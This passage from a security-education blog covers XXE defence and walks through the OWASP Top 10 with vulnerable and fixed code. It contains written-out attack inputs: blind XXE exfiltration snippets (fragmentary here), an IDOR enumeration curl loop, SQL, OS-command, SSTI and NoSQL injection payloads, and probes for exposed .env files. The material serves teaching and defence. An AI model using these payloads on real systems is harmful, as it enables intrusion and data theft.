resolve external parameter entities, the kind used inside the DTD itself. Blind XXE techniques often rely on parameter entities precisely because they slip past a half-measure that only hardened the more obvious case. This is the practical argument for disabling DTD processing wholesale rather than turning off one entity type and assuming the job is done. A partial configuration that stops the textbook file-read example can still leave the out-of-band exfiltration path wide open. XXE reaches well past endpoints that obviously accept XML. Many file formats are XML underneath: SVG images, DOCX and XLSX office documents, SAML authentication assertions, RSS and Atom feeds, and SOAP requests. An image uploader that processes SVG server-side, or a single sign-on flow that parses SAML, can be an XXE entry point even though no field is labeled "XML". Audit every parser that touches user-controlled data, including the ones you would never think of as XML APIs. ## Where XXE hides The vulnerability lives anywhere the server parses XML it did not author. Common locations: | Surface | Why it parses XML | |---|---| | SOAP web services | The protocol is XML end to end | | SAML single sign-on | Assertions are signed XML documents | | File uploads (SVG, DOCX, XLSX) | These formats are ZIP-wrapped or raw XML | | RSS and Atom ingestion | Feeds are XML | | Configuration and data import | "Import from XML" features | | Legacy APIs | XML request bodies predating JSON | The delivery vector often matters as much as the parser. A malicious SVG or office document is a file-format payload, and understanding how those formats smuggle active content is its own discipline, covered in our [attacker file formats guide](/attacker-file-formats-explained). Our file-formats reference on data.pwnsy.com maps which container formats carry XML underneath and how they are abused in real delivery, so you can identify which of your upload and import endpoints are quietly XML parsers. The reason this surface is so wide is that XML became the default interchange format for a generation of enterprise software, and much of that plumbing is still in production. A modern JSON front end can sit on top of a SOAP or SAML back end that parses XML with a decade-old library and its original insecure defaults. The parser doing the dangerous work is frequently not the one the developer is thinking about, which is why an inventory of every place XML is parsed, including transitive library behavior, is worth more than spot checks on the obvious endpoints. ## How to defend against XXE The good news is that XXE has a clean, decisive fix. Unlike injection flaws that require careful input handling, XXE can be shut off at the parser. 1. **Disable DTD processing entirely.** If your application does not need DTDs, and almost none do, configure every XML parser to reject documents that contain a DOCTYPE. This single setting removes external entities and billion-laughs in one move. It is the recommended default. 2. **If you must allow DTDs, disable external entity resolution.** Turn off both external general entities and external parameter entities in the parser configuration. Consult the OWASP cheat sheet for the exact flags per language and library, since the setting names differ. 3. **Prefer less dangerous data formats.** Where you control the interface, accept JSON instead of XML. JSON has no entity mechanism and no external-fetch feature, so this class of bug does not apply. 4. **Patch and update XML libraries.** Some older parsers made insecure choices by default that newer versions fixed. Keep them current. 5. **Validate and constrain uploads.** For features that must accept XML-backed files like SVG, process them with a hardened parser and consider server-side sanitization or rendering that strips DOCTYPE declarations. 6. **Apply SSRF controls as a backstop.** Because XXE can trigger outbound requests, the same allowlisting and network segmentation that limit SSRF also limit the blast radius of an XXE that reaches the fetch stage. XXE is unusual among web vulnerabilities because a single correct parser configuration eliminates it across an entire application. Make "DTDs disabled, external entities off" the standard for every XML parser in your stack, enforce it in a shared parsing utility rather than per-endpoint, and new code inherits the protection automatically. ## Walking through a blind XXE exfiltration The out-of-band case deserves a step-by-step trace, because it is the version most people find confusing. Assume the application parses the attacker's XML but never reflects any value back. The attacker still wants a file. They set up two pieces: a payload sent to the target, and a malicious DTD hosted on a server they control. The payload sent to the target declares a parameter entity that pulls in the attacker's external DTD: ``` %remote; ]> ping ``` When the vulnerable parser processes this, the `%remote;` reference forces it to fetch `evil.dtd` from the attacker's server. That fetch alone confirms the vulnerability, because the attacker sees the inbound request in their own logs even if the application returns nothing useful. The hosted DTD then does the real work: ``` "> %wrapper; %send; ``` Read from the top. The `file` parameter entity reads the local file. The `wrapper` entity builds a second entity definition whose value embeds the file contents inside a URL pointing back at the attacker. The final `%send;` reference triggers that outbound request, carrying the file contents in the query string. The attacker reads the exfiltrated data straight out of their web server access log. No part of the application response ever needed to show the data. This construction relies entirely on parameter entities, which is why a defense that only blocks external general entities does nothing here. It is also why error-based variants exist: if the outbound HTTP fetch is firewalled, an attacker can instead craft a DTD that forces the file contents into a parser error message, and where the application returns parse errors to the client the data leaks through the error text. Each variant chips at a different assumption an incomplete defense might rely on. If a test payload causes the server to fetch an attacker-controlled URL, the vulnerability is proven even when no file has leaked yet. That single callback demonstrates the parser resolves external entities and reaches the network, which is enough to pursue file disclosure, internal SSRF, or denial of service. Treat any parser that phones home to a canary URL as exploitable and fix it, rather than waiting for a full data-exfiltration proof. ## Detection signals XXE leaves traces on both the sending and receiving side, and knowing where to look shortens both offensive testing and defensive monitoring. - **Outbound requests from a parsing host to unexpected destinations.** An application server that suddenly makes DNS lookups or HTTP requests to external domains during an XML parse is a strong signal. A canary token or a unique subdomain per test makes this unambiguous, because any resolution of that name traces back to the exact payload that carried it. - **Requests to link-local and internal addresses.** Traffic aimed at `169.254.169.254`, `localhost`, or RFC 1918 ranges originating from a service that parses user XML points at XXE-driven SSRF. Egress logs and cloud VPC flow logs surface this. - **File-scheme access patterns.** On hosts with filesystem auditing, reads of `/etc/passwd`, `/etc/hostname`, or application secret files by an XML-parsing process, close in time to a request, indicate file disclosure attempts. - **Malformed or entity-heavy XML in request bodies.** A `DOCTYPE` declaration, a `SYSTEM` or `PUBLIC` keyword, or nested entity definitions in inbound XML on an endpoint that never expected them is worth flagging. A web application firewall can match these tokens, with the caveat that encoding and obfuscation can evade naive string rules. - **Parser errors and latency spikes.** Billion-laughs and quadratic-blowup payloads show up as sudden memory pressure, CPU saturation, or a burst of parser exceptions on one endpoint. A parse that normally takes milliseconds and suddenly runs for seconds is a tell. None of these signals is conclusive on its own, and a hardened parser produces none of them because it refuses the DOCTYPE outright. That is the point: detection is a backstop for the times the primary configuration control was missed, and it is most useful when the outbound network path is the thing being watched. ## XXE next to related techniques XXE sits in a family of server-side injection and request-forgery flaws, and comparing them clarifies what makes it distinct. | Technique | Attacker controls | Core primitive | Primary fix | |---|---|---|---| | XXE | XML parsed by the server | File read plus outbound fetch via entities | Disable DTDs and external entities | | SSRF | A URL the server will fetch | Requests from inside the network | Validate and allowlist outbound targets | | Path traversal | A filename the server will open | Read files outside the intended directory | Canonicalize and confine paths | | Server-side template injection | Input rendered by a template engine | Code execution in the template context | Never render user input as a template | | Deserialization | Serialized object bytes | Object graph and gadget-driven execution | Avoid native deserialization of untrusted data | XXE is unusual in the group because a single primitive delivers both a file read and an outbound request, which is why it so often chains into the others. An XXE that reaches the cloud metadata endpoint is doing SSRF. An XXE that reads arbitrary paths overlaps with path traversal. The mapped identifier in the taxonomies is CWE-611 (Improper Restriction of XML External Entity Reference), and the denial-of-service variant maps to CWE-776 (Improper Restriction of Recursive Entity References, the billion-laughs pattern). In the MITRE ATT&CK enterprise matrix the network-pivot behavior aligns with T1190 (Exploit Public-Facing Application). ## Common mistakes and misconceptions Several beliefs about XXE are widespread and wrong, and each one leaves a real gap. **"We block external entities, so we are safe."** Blocking external general entities while leaving parameter entities reachable stops the textbook file-read example and leaves the out-of-band exfiltration path open. Disabling DTD processing entirely is the setting that closes both. **"We only accept JSON, so XXE does not apply."** A JSON front end can sit on a SOAP or SAML back end, and libraries that accept JSON sometimes also accept XML when a content type is switched. The question is which parsers ever touch user data, not which format the public API advertises. **"Our parser is modern, so the defaults are safe."** Some libraries did harden their defaults, and many did not, and the behavior varies by version and by which factory or feature flags the code enables. Relying on an assumed default rather than an explicit configuration is how the vulnerability survives upgrades. **"XXE needs the response reflected to be exploitable."** Blind XXE moves data out of band and needs no reflection at all. An endpoint that returns a fixed success message is still exploitable if the parser fetches attacker URLs. **"It is just a file read, so it is low severity."** The same primitive reaches internal services and cloud metadata, where it can retrieve temporary credentials and pivot deeper. Rating XXE on the file-read case alone understates it. ## How XXE became a standard finding External entities were part of XML from its early standardization, when the format was designed for document interchange and fetching a referenced resource was a feature, not a threat. The security implications surfaced as XML spread from documents into web service payloads, where the parser was suddenly handling data from anonymous internet clients rather than trusted authors. Through the 2000s and into the 2010s XML sat under SOAP, SAML, RSS, and a wave of office and image formats, and the same permissive entity behavior that made sense for documents became a server-side liability. Awareness grew as researchers demonstrated the out-of-band and parameter-entity techniques that made blind cases practical, and the flaw earned its own place in the OWASP Top 10 as a distinct category for a cycle before being folded into a broader grouping in later editions. The folding reflected better default configurations in some libraries, not the disappearance of the bug. Legacy XML plumbing keeps the technique relevant, because a great deal of enterprise software still parses XML with the assumptions of its original design. ## Frequently asked questions **Is XXE only a problem for endpoints that obviously accept XML?** No. Many file formats are XML underneath, including SVG, DOCX, XLSX, and SAML assertions, and any feature that parses one of them is a potential XXE entry point even when nothing is labeled XML. **Does disabling external entities fully fix XXE?** It fixes the file-read and SSRF cases only if you disable both external general and external parameter entities. Disabling DTD processing entirely is more robust, because it also removes the billion-laughs denial-of-service path and closes the parameter-entity route used by blind exfiltration. **Can XXE lead to remote code execution?** Usually the direct impact is file disclosure, SSRF, and denial of service. Code execution is possible in specific stacks, for example where an `expect`-style wrapper is available to the parser, but it is platform dependent and far less common than the file and network primitives. **Why is JSON recommended as a mitigation?** JSON has no entity mechanism and no external-fetch feature, so this class of bug simply does not apply to a JSON parser. Where you control the interface, accepting JSON removes the attack surface rather than trying to harden around it. **How is blind XXE different from classic XXE?** Classic XXE reflects the parsed value back in the response, so the attacker reads the file directly. Blind XXE never reflects anything and instead exfiltrates data over an out-of-band channel, typically an HTTP request to the attacker's server or data smuggled into a parser error message. **What is the single most effective control?** Configure a shared, hardened XML parser with DTDs disabled and reuse it everywhere, so no individual endpoint has to remember the setting and new code inherits the protection automatically. XXE turns a routine parsing step into a file-read and network-pivot primitive, and it has quietly sat inside SOAP services, SAML flows, and image uploaders for a decade. The defense is not subtle. Disable DTDs, turn off external entities, prefer JSON where you can, and centralize the hardened parser so no future endpoint reopens the door. ## Related guides - [SSRF Explained](/ssrf-explained) - [Command Injection Explained](/command-injection-explained) - [Path Traversal Explained](/path-traversal-explained) - [OWASP Top 10 Explained](/owasp-top-10-explained) - [Attacker File Formats Explained](/attacker-file-formats-explained) ### Sources - OWASP: XML External Entity (XXE) Processing (OWASP): https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing - PortSwigger Web Security Academy: XXE Injection (PortSwigger): https://portswigger.net/web-security/xxe - OWASP XML External Entity Prevention Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html --- ## OWASP Top 10 Explained with Examples > A practical breakdown of the OWASP Top 10 (2021) with real vulnerability examples, payloads, and fixes every developer and pentester should know. - URL: https://blog.pwnsy.com/owasp-top-10-explained - Date: 2026-03-11 - Updated: 2026-04-08 - Difficulty: intermediate - Category: web-security - Tags: owasp, web-security, xss, sql-injection, vulnerabilities, appsec, pentesting - Related: [Best Cybersecurity Certifications & Courses in 2026](https://blog.pwnsy.com/best-cybersecurity-certifications), [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification) ### TL;DR - Broken Access Control topped the 2021 OWASP list, appearing in 94% of tested applications: the fix is binding every resource query to the authenticated user's ID server-side on every request. - Injection vulnerabilities (SQL, OS command, SSTI, NoSQL) are universally prevented by parameterized queries and passing user input as data to interpreters, never as part of a command. - The Equifax breach (147 million records exposed) traced to an unpatched Apache Struts CVE that had a fix available 66 days before exploitation; dependency auditing in CI prevents this class of breach. - SSRF became a Top 10 category in 2021 because cloud metadata services at 169.254.169.254 are reachable from any instance, and a single SSRF gives attackers temporary IAM credentials. ### Key Takeaways - Broken Access Control is the most prevalent web vulnerability, and automated scanners cannot detect it because they do not understand an application's authorization model, manual testing with two accounts is required. - Password storage must use a slow adaptive algorithm: bcrypt at work factor 12 minimum or Argon2id per NIST SP 800-63B, fast algorithms like MD5 and SHA-256 are GPU-crackable even with a salt. - Insecure Design addresses architectural flaws that exist before code is written; threat modeling using STRIDE applied to data flow diagrams surfaces security requirements before implementation begins. - The average time to detect a breach exceeds 200 days not because breaches are subtle, but because logging is absent, too noisy to act on, or not reviewed, structured logging of auth events and ACL violations is foundational. - Supply chain integrity failures, represented by the SolarWinds breach, require CI/CD pipeline security, verified dependency lockfiles, and Subresource Integrity hashes on third-party scripts. ### FAQ **Q: What is the OWASP Top 10?** The OWASP Top 10 is a regularly updated list of the most critical web application security risks, compiled from data contributed by hundreds of organizations covering tens of thousands of applications. The 2021 edition introduced three new categories and moved Broken Access Control to the top position after it appeared in 94% of tested applications. **Q: What is an IDOR vulnerability?** An Insecure Direct Object Reference (IDOR) is a type of Broken Access Control where an API trusts a user-supplied identifier without verifying that the authenticated user is authorized to access the referenced resource. The fix is to bind every resource query to the authenticated user's ID so that a query for a resource belonging to another user returns null rather than the data. **Q: What is SQL injection and how do you prevent it?** SQL injection occurs when untrusted user input is concatenated directly into a SQL query, allowing an attacker to modify the query's logic, for example, using a payload like admin'-- to comment out a password check. Prevention requires parameterized queries (also called prepared statements) so user input is always passed as data to the database driver, never interpreted as SQL syntax. **Q: What is SSRF and why is it dangerous in cloud environments?** Server-Side Request Forgery (SSRF) tricks a server into making outbound HTTP requests to attacker-specified URLs, including internal services not exposed to the public internet. In cloud environments, this is particularly dangerous because the metadata service at 169.254.169.254 is reachable from any instance and returns temporary IAM credentials, as demonstrated in the 2019 Capital One breach that exposed over 100 million records. **Q: How should passwords be stored securely?** Passwords must be stored using a slow, adaptive hashing algorithm designed for password storage, bcrypt at a work factor of 12 or higher, or Argon2id with parameters per NIST SP 800-63B. Fast algorithms like MD5, SHA-1, and SHA-256 are insufficient regardless of salting because modern GPU clusters can crack them at billions of hashes per second. The OWASP Top 10 is updated every few years based on data from hundreds of contributing organizations, covering tens of thousands of applications. The 2021 edition was a landmark: three entirely new categories were added, and the top position changed hands from Injection (which had held it for a decade) to Broken Access Control. That shift alone tells you something important about where the industry is failing. This isn't a glossary. Every item gets attack payloads, vulnerable code, fixed code, and at least one real-world incident you can look up. Work through it systematically and you'll have a functional mental model for finding and fixing the vulnerabilities that actually matter in production systems. Looking for the right scanner or web app testing tool? Browse 3,700+ vetted OSINT & security tools at [tools.pwnsy.com](https://tools.pwnsy.com). ## A01: Broken Access Control Broken access control claimed the top spot in 2021 after appearing in 94% of tested applications. It covers the entire failure space of authorization: vertical privilege escalation (low-privilege user accessing admin functions), horizontal privilege escalation (User A accessing User B's resources), missing function-level access control, and CORS misconfigurations. The canonical example is an Insecure Direct Object Reference (IDOR): an API that trusts a user-supplied identifier without verifying whether the authenticated user is authorized to access the referenced resource. ### Real Incident: Facebook (2021): IDOR Leading to Account Takeover In August 2021, security researcher Youssef Sammouda reported a critical IDOR in Facebook's account recovery flow that could be exploited to take over any Facebook account. The vulnerability was in a password reset endpoint that accepted a user-controlled target account ID. Facebook paid $130,000 for this report: their largest single bug bounty payout at the time. The root cause: authorization was checked at the start of the flow but not re-validated at subsequent steps. ### Vulnerable Code ```typescript // GET /api/v2/invoices/:id // VULNERABLE: only checks that the JWT is valid, not that the user owns the invoice app.get('/api/v2/invoices/:id', authenticate, async (req, res) => { const invoice = await db.invoices.findOne({ id: req.params.id }); if (!invoice) return res.status(404).json({ error: 'Not found' }); return res.json(invoice); // returns any user's invoice to any authenticated user }); ``` An attacker authenticates as themselves, captures a valid JWT, then iterates the `id` parameter from 1 to 100,000 and reads every invoice in the system. No special tools required, just a for loop and curl. ```bash # Simple IDOR enumeration for i in $(seq 1 1000); do curl -s -H "Authorization: Bearer $JWT" https://target.com/api/v2/invoices/$i \ | jq -r '. | select(.userId != null) | "\(.id) \(.userId) \(.amount)"' done ``` ### Fixed Code ```typescript // SAFE: bind the query to the authenticated user's ID app.get('/api/v2/invoices/:id', authenticate, async (req, res) => { const invoice = await db.invoices.findOne({ id: req.params.id, userId: req.user.id, // if this row doesn't belong to req.user, findOne returns null }); if (!invoice) return res.status(403).json({ error: 'Forbidden' }); return res.json(invoice); }); ``` ### Function-Level Access Control A subtler variant: API endpoints that should require admin access but only check for authentication, not authorization level. ```typescript // VULNERABLE: @authenticate checks JWT validity, not role app.delete('/api/admin/users/:id', authenticate, async (req, res) => { await db.users.delete({ id: req.params.id }); return res.json({ success: true }); }); // SAFE: check role after authentication app.delete('/api/admin/users/:id', authenticate, requireRole('admin'), async (req, res) => { await db.users.delete({ id: req.params.id }); return res.json({ success: true }); }); // requireRole middleware function requireRole(role: string) { return (req: Request, res: Response, next: NextFunction) => { if (req.user.role !== role) { return res.status(403).json({ error: 'Insufficient permissions' }); } next(); }; } ``` Testing for IDOR requires manual analysis. Automated scanners don't understand your application's authorization model. The test is: authenticate as User A, capture a resource ID belonging to User B, make the request as User A. If you get User B's data, it's vulnerable. ### Access Control Checklist - Deny access by default; explicitly grant permissions rather than explicitly denying them - Enforce access control server-side on every request, not just at login - Log access control violations and alert on anomalous patterns - Rate-limit API endpoints to slow down enumeration attacks - Use UUIDs instead of sequential integers for resource IDs (security through obscurity, not a fix, but raises the bar for enumeration) --- ## A02: Cryptographic Failures Previously named "Sensitive Data Exposure," this category was renamed in 2021 to emphasize the root cause rather than the symptom. The failures include: transmitting sensitive data over HTTP, storing passwords with fast hashing algorithms, using weak cipher suites, storing encryption keys alongside encrypted data, and missing or misconfigured TLS. ### Real Incident: RockYou (2009) vs. LinkedIn (2012) RockYou stored 32 million passwords in plaintext. When their database was breached in December 2009, attackers published the full list, which became the foundational wordlist used in password cracking for the next decade. The `rockyou.txt` file ships with Kali Linux. LinkedIn's 2012 breach exposed 6.5 million SHA-1 hashed passwords, initially believed to be the scope of the breach. In 2016, it emerged that the actual count was 117 million passwords. SHA-1 without salt: LeakedSource cracked 90% of the hashes within 72 hours using a GPU cluster. LinkedIn faced a class-action lawsuit and paid $1.25 million to settle. The 2013 Adobe breach: 153 million records, passwords encrypted with 3DES (not hashed, encrypted, meaning reversible) and all accounts using the same password had the same ciphertext. Users discovered their own and others' passwords by analyzing patterns in the encrypted values. ### Vulnerable Password Storage ```python import hashlib # VULNERABLE — MD5, fast, rainbow-table reversible stored_hash = hashlib.md5(password.encode()).hexdigest() # VULNERABLE — SHA-256, still fast, GPU-crackable stored_hash = hashlib.sha256(password.encode()).hexdigest() # VULNERABLE — unsalted bcrypt (bcrypt without per-user salt) # Note: bcrypt generates its own salt, but using a FIXED salt is catastrophic import bcrypt FIXED_SALT = b'$2b$12$fixedsaltthatneverchan' # DO NOT DO THIS stored_hash = bcrypt.hashpw(password.encode(), FIXED_SALT) ``` ### Fixed Password Storage ```python import bcrypt import argon2 # OPTION 1: bcrypt (work factor 12 minimum; each increment doubles compute time) def hash_password_bcrypt(password: str) -> str: salt = bcrypt.gensalt(rounds=12) return bcrypt.hashpw(password.encode('utf-8'), salt).decode('utf-8') def verify_password_bcrypt(password: str, hashed: str) -> bool: return bcrypt.checkpw(password.encode('utf-8'), hashed.encode('utf-8')) # OPTION 2: Argon2id (preferred for new systems per NIST SP 800-63B) from argon2 import PasswordHasher ph = PasswordHasher( time_cost=2, # iterations memory_cost=65536, # 64MB RAM parallelism=2, hash_len=32, salt_len=16 ) def hash_password_argon2(password: str) -> str: return ph.hash(password) def verify_password_argon2(password: str, hashed: str) -> bool: try: return ph.verify(hashed, password) except: return False ``` ### TLS Misconfiguration ```bash # Check TLS configuration quality nmap --script ssl-enum-ciphers -p 443 target.com # Look for: # - SSLv2, SSLv3 (broken, deprecated) # - TLS 1.0, 1.1 (deprecated, disable) # - RC4, DES, 3DES, EXPORT cipher suites # - NULL cipher suites # - Self-signed certificates on production # testssl.sh is more comprehensive ./testssl.sh https://target.com ``` ### Encryption at Rest ```typescript // VULNERABLE: storing credit card numbers in plaintext await db.query('INSERT INTO payments (user_id, card_number) VALUES ($1, $2)', [userId, cardNumber]); // SAFE: tokenize with Stripe/Braintree — never store raw PANs // The token references the card in the processor's vault const paymentMethod = await stripe.paymentMethods.create({ type: 'card', card: { number: cardNumber, exp_month: expMonth, exp_year: expYear, cvc }, }); await db.query('INSERT INTO payments (user_id, stripe_pm_id) VALUES ($1, $2)', [userId, paymentMethod.id]); // SAFE: AES-256-GCM for data you need to decrypt later (not passwords) import { createCipheriv, createDecipheriv, randomBytes } from 'crypto'; const ALGORITHM = 'aes-256-gcm'; const KEY = Buffer.from(process.env.ENCRYPTION_KEY!, 'hex'); // 32 bytes function encrypt(plaintext: string): { iv: string; tag: string; data: string } { const iv = randomBytes(12); const cipher = createCipheriv(ALGORITHM, KEY, iv); const encrypted = Buffer.concat([cipher.update(plaintext, 'utf8'), cipher.final()]); return { iv: iv.toString('hex'), tag: cipher.getAuthTag().toString('hex'), data: encrypted.toString('hex'), }; } ``` Never store encryption keys in the same database as the encrypted data. Use a secrets manager (AWS KMS, HashiCorp Vault, GCP Cloud KMS) where the key never leaves the managed service: you send data, it returns a ciphertext. Even a full database dump is useless without the key. --- ## A03: Injection Injection vulnerabilities occur when untrusted data is sent to an interpreter as part of a command. SQL injection is the flagship, but the class includes OS command injection, LDAP injection, SSTI (Server-Side Template Injection), XPath injection, and NoSQL injection. ### Real Incident: Heartland Payment Systems (2008) The Heartland Payment Systems breach remains one of the most significant in financial history. Attackers used SQL injection to gain access to Heartland's payment processing systems, then installed sniffing malware that intercepted 130 million credit and debit card numbers in transit. Total cost: over $140 million in settlements, fines, and remediation. Heartland's CEO said in hindsight the SQL injection vulnerability "could have been caught by a junior developer": the code was concatenating user input directly into queries. ### SQL Injection: Vulnerable vs. Fixed ```python # VULNERABLE — classic string concatenation def login(username: str, password: str): query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'" return db.execute(query).fetchone() # Payload: username = admin'-- # Resulting query: SELECT * FROM users WHERE username = 'admin'--' AND password = '...' # The -- comments out the password check entirely ``` ```python # SAFE — parameterized query def login(username: str, password: str): query = "SELECT * FROM users WHERE username = %s AND password_hash = %s" hashed = hash_password(password) return db.execute(query, (username, hashed)).fetchone() ``` ### OS Command Injection ```python import subprocess # VULNERABLE — shell=True with user input def ping_host(hostname: str): result = subprocess.run(f"ping -c 4 {hostname}", shell=True, capture_output=True) return result.stdout.decode() # Payload: hostname = "8.8.8.8; cat /etc/passwd" # Executes: ping -c 4 8.8.8.8; cat /etc/passwd # SAFE — pass as list, no shell expansion def ping_host(hostname: str): import re if not re.match(r'^[a-zA-Z0-9._-]+$', hostname): raise ValueError("Invalid hostname") result = subprocess.run(["ping", "-c", "4", hostname], capture_output=True, timeout=10) return result.stdout.decode() ``` ### Server-Side Template Injection (SSTI) SSTI is injection into a template engine, underestimated in severity, often leads to RCE. ```python from flask import Flask, render_template_string, request app = Flask(__name__) # VULNERABLE — user input directly in template string @app.route('/greet') def greet(): name = request.args.get('name', 'World') return render_template_string(f"Hello {{{{ {name} }}}}!") # Payload: name={{7*7}} → renders "Hello 49!" # Payload: name={{config.__class__.__init__.__globals__['os'].popen('id').read()}} # → executes arbitrary OS commands # SAFE — treat user input as data, never template code @app.route('/greet') def greet(): name = request.args.get('name', 'World') return render_template_string("Hello {{ name }}!", name=name) ``` ### NoSQL Injection (MongoDB) ```javascript // VULNERABLE — user input directly in query object app.post('/login', async (req, res) => { const { username, password } = req.body; const user = await db.collection('users').findOne({ username, password }); // Payload: password = { "$gt": "" } // MongoDB query becomes: { username: "admin", password: { "$gt": "" } } // "$gt": "" matches any non-empty string — authentication bypass if (user) res.json({ token: generateToken(user) }); else res.status(401).json({ error: 'Invalid credentials' }); }); // SAFE — validate that input is a string, not an object import { z } from 'zod'; const loginSchema = z.object({ username: z.string().min(1).max(50), password: z.string().min(1).max(128), }); app.post('/login', async (req, res) => { const parsed = loginSchema.safeParse(req.body); if (!parsed.success) return res.status(400).json({ error: 'Invalid input' }); const { username, password } = parsed.data; const user = await db.collection('users').findOne({ username }); if (!user || !verifyPassword(password, user.passwordHash)) { return res.status(401).json({ error: 'Invalid credentials' }); } res.json({ token: generateToken(user) }); }); ``` --- ## A04: Insecure Design Added in the 2021 list for the first time, Insecure Design addresses architectural security flaws that exist before any code is written. The distinction from other categories: these aren't implementation bugs, they're design decisions that make secure implementation impossible without rethinking the architecture. ### Real Incident: Instagram Account Takeover via PIN Enumeration (2019) In 2019, researcher Laxman Muthiyah found that Instagram's mobile account recovery sent a 6-digit PIN via SMS. Instagram had implemented rate limiting on the web interface, but the mobile API had no such restriction. By distributing requests across multiple IP addresses, Muthiyah demonstrated he could enumerate all 1,000,000 possible 6-digit combinations in about 1,000 parallel requests per IP across a sufficient IP pool. The design flaw: a 6-digit numeric PIN has only 1 million possible values, trivially enumerable. Instagram paid $30,000 for this report. ### Insecure Password Reset Design ```typescript // VULNERABLE DESIGN: 6-digit numeric token, no rate limiting, long expiry async function initiatePasswordReset(email: string) { const token = Math.floor(100000 + Math.random() * 900000).toString(); // 6-digit numeric await db.passwordResets.create({ email, token, expiresAt: new Date(Date.now() + 24 * 60 * 60 * 1000), // 24 hours — too long }); await sendEmail(email, `Your reset code is: ${token}`); } // No rate limiting on the verification endpoint — attackers can enumerate 1M codes app.post('/reset/verify', async (req, res) => { const { email, token } = req.body; const reset = await db.passwordResets.findOne({ email, token }); if (reset && reset.expiresAt > new Date()) { // allow password reset } }); ``` ```typescript // SECURE DESIGN: cryptographically random URL token, short expiry, single-use, rate limited import { randomBytes } from 'crypto'; import rateLimit from 'express-rate-limit'; const resetRateLimit = rateLimit({ windowMs: 15 * 60 * 1000, // 15 minutes max: 3, // 3 attempts per IP per 15 minutes message: 'Too many reset attempts', }); async function initiatePasswordReset(email: string) { const token = randomBytes(32).toString('hex'); // 256 bits of entropy const tokenHash = createHash('sha256').update(token).digest('hex'); // store hash, not raw token await db.passwordResets.upsert({ email, tokenHash, expiresAt: new Date(Date.now() + 15 * 60 * 1000), // 15 minutes used: false, }); // Send full token in URL — only works once, expires in 15 min await sendEmail(email, `Reset link: https://app.com/reset?token=${token}`); } app.post('/reset/complete', resetRateLimit, async (req, res) => { const { token, newPassword } = req.body; const tokenHash = createHash('sha256').update(token).digest('hex'); const reset = await db.passwordResets.findOne({ tokenHash, used: false }); if (!reset || reset.expiresAt < new Date()) { return res.status(400).json({ error: 'Invalid or expired token' }); } // Mark token used before changing password (prevents race conditions) await db.passwordResets.update({ tokenHash }, { used: true }); await db.users.updatePassword(reset.email, await hashPassword(newPassword)); }); ``` Threat modeling is the tool for catching insecure design before code is written. STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege) applied to each component in a data flow diagram surfaces the design-level security requirements before implementation begins. --- ## A05: Security Misconfiguration Security misconfiguration is the broadest category, default credentials, open cloud storage buckets, enabled debug modes, verbose error messages, unnecessary HTTP methods, missing security headers, and default admin panels. It's also the most reliably found by automated scanning. ### Real Incident: Capital One (2019) The Capital One breach of July 2019 exposed over 100 million credit card applications. The attacker, a former AWS employee, exploited a misconfigured WAF on a Capital One EC2 instance to trigger Server-Side Request Forgery (SSRF) against the AWS EC2 metadata service at `169.254.169.254`. The SSRF returned temporary IAM credentials for the instance's role. That role had overly broad S3 read permissions. The attacker exfiltrated 106 million records. Capital One paid $190 million in settlement and $80 million in regulatory fines. The misconfiguration: an EC2 instance that could reach the metadata service, combined with IAM permissions that were far broader than necessary. ### Common Misconfigurations to Find/Fix ```bash # Check for exposed admin panels and default paths nuclei -u https://target.com -t ~/nuclei-templates/exposed-panels/ \ -t ~/nuclei-templates/default-credentials/ \ -t ~/nuclei-templates/misconfiguration/ # Check for open S3 buckets (from target's perspective during pentest) aws s3 ls s3://target-company-backup --no-sign-request aws s3 ls s3://target-company-logs --no-sign-request # Check HTTP methods enabled on web server curl -X OPTIONS https://target.com -v 2>&1 | grep "Allow:" # DELETE, PUT, TRACE enabled = misconfiguration # Check for directory listing curl https://target.com/backup/ curl https://target.com/.git/ # Check for exposed .env files curl https://target.com/.env curl https://target.com/.env.local ``` ### Security Headers Audit ```bash # Check security headers curl -I https://target.com | grep -E "(X-Frame|X-Content|Content-Security|Strict-Transport|Referrer)" # Full security header audit securityheaders.com # web UI ``` ```nginx # Nginx — complete security header configuration server { # Strict Transport Security: force HTTPS for 2 years, include subdomains add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always; # Prevent clickjacking add_header X-Frame-Options "DENY" always; # Prevent MIME sniffing add_header X-Content-Type-Options "nosniff" always; # Referrer policy add_header Referrer-Policy "strict-origin-when-cross-origin" always; # Permissions policy (formerly Feature-Policy) add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always; # Content Security Policy — start in report-only mode during rollout add_header Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data: https:; object-src 'none'; base-uri 'self'; frame-ancestors 'none';" always; # Disable server version disclosure server_tokens off; } ``` ### Django Production Checklist ```python # settings.py — critical production settings DEBUG = False # NEVER True in production — leaks stack traces, env vars, SQL queries ALLOWED_HOSTS = ['app.example.com'] # Not ['*'] SECRET_KEY = os.environ.get('DJANGO_SECRET_KEY') # Not hardcoded in source # Cookie security SESSION_COOKIE_SECURE = True # Only send over HTTPS SESSION_COOKIE_HTTPONLY = True # Not accessible to JavaScript SESSION_COOKIE_SAMESITE = 'Strict' CSRF_COOKIE_SECURE = True # HTTPS enforcement SECURE_SSL_REDIRECT = True SECURE_HSTS_SECONDS = 63072000 SECURE_HSTS_INCLUDE_SUBDOMAINS = True SECURE_HSTS_PRELOAD = True # Content type sniffing SECURE_CONTENT_TYPE_NOSNIFF = True ``` --- ## A06: Vulnerable and Outdated Components This category tracks the reality that your application is an iceberg: the code you wrote is the visible tip, and the vast majority is third-party libraries, frameworks, runtime environments, and OS packages. Every dependency you add is code you didn't write and probably haven't read. When those components have known CVEs, you inherit the vulnerability. ### Real Incident: Equifax (2017) The Equifax breach of September 2017 exposed the personal data of 147 million Americans, names, Social Security numbers, birth dates, addresses, and credit card numbers. The entry point: Apache Struts CVE-2017-5638, a critical RCE vulnerability in the Jakarta Multipart parser. Apache published a patch on March 6, 2017. Equifax was notified of the vulnerability by US-CERT on March 8. The breach began on May 13, 2017, 66 days after the patch was 